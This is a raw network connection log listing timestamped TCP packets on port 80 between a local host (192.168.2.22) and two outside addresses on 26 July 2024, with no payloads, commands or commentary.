Jul 26, 2024 13:08:58.412904978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.412914038 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.412923098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.412934065 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.412945986 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.412950993 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.412960052 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413147926 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413158894 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413165092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413170099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413208008 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413331985 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413342953 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413353920 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413363934 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413372040 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413381100 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413389921 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413430929 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413599968 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413613081 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413625956 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413636923 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413644075 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413654089 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413666010 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413674116 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413682938 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413695097 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413702011 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413712978 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413723946 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413731098 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.413769960 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.413778067 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414359093 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414370060 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414381027 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414391041 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414398909 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414413929 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414419889 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414429903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414443970 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414448977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414459944 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414470911 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414478064 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414488077 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414499998 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414509058 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414518118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414530993 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414537907 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414550066 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414561033 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414570093 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.414577961 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.414592981 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.415273905 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415286064 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415297031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415309906 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415317059 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.415326118 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415335894 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415347099 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.415353060 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415364981 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415374041 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.415381908 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415393114 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415405989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415412903 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.415420055 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.415450096 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.416033983 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416047096 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416059017 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416074038 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416080952 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.416085958 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.416095018 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416105986 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416117907 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416129112 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416136980 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.416147947 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.416152000 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416163921 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.416183949 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.496896982 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.496927977 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.496941090 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.496953011 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.496968031 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.496982098 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.496994019 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.497023106 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.497044086 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.497077942 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.497128010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.499409914 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499464989 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499497890 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499521017 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.499605894 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499639988 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499659061 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.499690056 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499726057 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.499754906 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500010967 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500044107 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500063896 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500094891 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500128031 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500148058 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500178099 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500210047 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500231981 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500263929 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500297070 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500319004 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500349045 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500384092 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500402927 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.500549078 CEST	80	49171	198.46.176.133	192.168.2.22
Jul 26, 2024 13:08:58.500600100 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 13:08:58.933340073 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:58.938745022 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:58.938811064 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:58.938898087 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:58.943725109 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452513933 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452575922 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452613115 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452632904 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.452651024 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452687979 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452718019 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.452719927 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452756882 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452785969 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.452788115 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452821970 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452852011 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.452858925 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.452976942 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.457859993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.458029985 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.458107948 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.702946901 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703011036 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.703474045 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703490973 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703505993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703568935 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703581095 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.703583002 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703608990 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.703701019 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703716993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703731060 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703744888 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703756094 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.703761101 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.703773022 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.703835011 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.704020977 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704036951 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704051018 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704066992 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704077959 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.704082966 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704104900 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.704344988 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704395056 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.704416037 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704432011 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704474926 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.704565048 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.704684019 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.705632925 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.705670118 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.705727100 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.705745935 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.705763102 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.705816031 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.712145090 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712193966 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712197065 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.712212086 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712332964 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.712368011 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712383032 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712397099 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712470055 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.712922096 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712949991 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712965012 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.712991953 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.713042974 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.713057041 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.713116884 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.713813066 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.713886976 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.713902950 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.713969946 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.714462042 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714477062 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714545965 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.714710951 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714752913 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714766026 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714792013 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.714843035 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714857101 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.714991093 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717156887 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717191935 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717206001 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717278957 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717314959 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717329979 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717344999 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717360020 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717375040 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717422009 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717580080 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717595100 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717609882 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717624903 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717636108 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717638969 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717664957 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.717849970 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.717956066 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725047112 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725087881 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725102901 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725131035 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725205898 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725223064 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725238085 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725248098 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725255013 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725281000 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725658894 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725675106 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725689888 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725703955 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725716114 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725719929 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725734949 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725744009 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.725752115 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.725771904 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.726248980 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726305008 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726320028 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726329088 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.726394892 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.726526976 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726541996 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726557016 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726572037 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.726597071 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.726627111 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.727194071 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727250099 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727264881 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727380037 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.727384090 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727437973 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727452993 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.727505922 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.727596998 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728296041 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728312969 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728353024 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.728401899 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728418112 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728432894 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728447914 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.728475094 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.728497028 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.728652000 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729209900 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729263067 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729278088 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729316950 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.729578972 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729604006 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729619980 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729635000 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729645014 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.729717970 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.729809046 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729897976 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729912996 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729928970 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729945898 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.729973078 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.729993105 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.730050087 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815182924 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815213919 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815229893 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815244913 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815259933 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815279007 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815366030 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815366983 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815383911 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815399885 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815414906 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815424919 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815433979 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815458059 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815784931 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815799952 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815812111 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815826893 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815835953 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815841913 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815857887 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815872908 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815881968 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.815891027 CEST	80	49172	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:59.815916061 CEST	49172	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:59.816262960 CEST	80	49172	192.3.176.174	192.168.2.22
